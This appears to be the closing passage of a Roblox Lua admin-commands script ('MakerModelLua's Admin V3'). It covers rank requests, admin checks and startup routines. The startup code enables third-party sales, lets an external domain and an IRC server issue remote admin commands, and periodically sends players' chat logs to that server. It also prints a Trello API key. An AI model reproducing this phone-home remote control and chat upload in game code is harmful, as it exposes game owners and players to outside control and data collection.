  9097. table.remove(LastKeys[Player.UserId], 1)
  9098. end
  9099. end
  9100. end
  9101. end
  9102.  
  9103. RankPlayerLocal.OnServerInvoke = function(Player)
  9104. wait()
  9105. local Request = PendingRequests[Player]
  9106. if Request then
  9107. if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
  9108. if Settings.Ranks[Request[1]] then
  9109. PendingRequests[Player] = nil
  9110. table.insert(Settings.Ranks[Request[1]], Player.Name)
  9111. GUI:TellAdmin(Player)
  9112. end
  9113. end
  9114. end
  9115. end
  9116.  
  9117. RankPlayerServer.OnInvoke = function(Player, Rank)
  9118. if not RANK:IsAdmin(Player) then
  9119. PendingRequests[Player] = {Rank, tick()}
  9120. end
  9121. end
  9122.  
  9123. IsAdmin.OnServerInvoke = function(Player)
  9124. local IsFullAdmin = false
  9125. for _,PName in pairs(Settings.Ranks["Owner"]) do
  9126. if PName == Player.Name then IsFullAdmin = true end
  9127. end
  9128. for _,PName in pairs(Settings.Ranks["Admin"]) do
  9129. if PName == Player.Name then IsFullAdmin = true end
  9130. end
  9131. return IsFullAdmin
  9132. end
  9133.  
  9134. AddExploit.OnServerInvoke = CORE.AddExploit
  9135. AddExploitServer.OnInvoke = CORE.AddExploit
  9136.  
  9137. KickClient.OnServerInvoke = function(PlayerClient)
  9138. PlayerClient:Kick()
  9139. end
  9140.  
  9141. ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
  9142. return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
  9143. end
  9144.  
  9145. for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
  9146. Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
  9147. Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
  9148.  
  9149. coroutine.wrap(function()
  9150. for _,ID in pairs(Icons) do
  9151. game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
  9152. end
  9153. end)()
  9154.  
  9155. CORE:SetAbuseCommands()
  9156.  
  9157. coroutine.wrap(function() SOUND:SyncSoundList() end)()
  9158. if not IsStudio then coroutine.wrap(function()
  9159. if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
  9160. REMOTE:GetRemoteData(true)
  9161. REMOTE:CheckTrelloInfo()
  9162. coroutine.wrap(function()
  9163. if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
  9164. REMOTE.RemoteConnection = true
  9165. end
  9166. end)()
  9167. coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
  9168. coroutine.wrap(function()
  9169. if Settings.LinkedAccount ~= "" then
  9170. local Request = nil
  9171. ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
  9172. if Request then
  9173. REMOTE:HandleRequest(Request, true)
  9174. end
  9175. end
  9176. end)()
  9177. coroutine.wrap(function()
  9178. wait(RemoteData.RemoteAdminWait)
  9179. while REMOTE:GetAndSetWebData() do
  9180. wait(RemoteData.RemoteAdminWait)
  9181. end
  9182. end)()
  9183. coroutine.wrap(function()
  9184. while wait(60) do
  9185. REMOTE:GetRemoteData(true)
  9186. REMOTE:CheckTrelloInfo()
  9187. end
  9188. end)()
  9189. end)() end
  9190. coroutine.wrap(function()
  9191. if Settings.TrelloToken ~= "" then
  9192. ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  9193. if #Trello.RequiredLists > 0 then
  9194. Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  9195. if Trello.MainBoard.name then
  9196. local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  9197. REMOTE:TrelloCacheData(Lists)
  9198. REMOTE:TrelloHandleData(true)
  9199. coroutine.wrap(function()
  9200. wait(RemoteData.TrelloWait)
  9201. while REMOTE:TrelloHandleData() do
  9202. wait(RemoteData.TrelloWait)
  9203. end
  9204. end)()
  9205. end
  9206. end
  9207. else
  9208. print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
  9209. end
  9210. end)()
  9211. coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
  9212. REMOTE:SendChatLog()
  9213. end end)()
  9214. coroutine.wrap(function() while true do
  9215. local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
  9216. if ThisDate then Date = ThisDate end
  9217. wait(600)
  9218. end end)()
  9219.  
  9220. print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")
Add Comment
Please, Sign In to add comment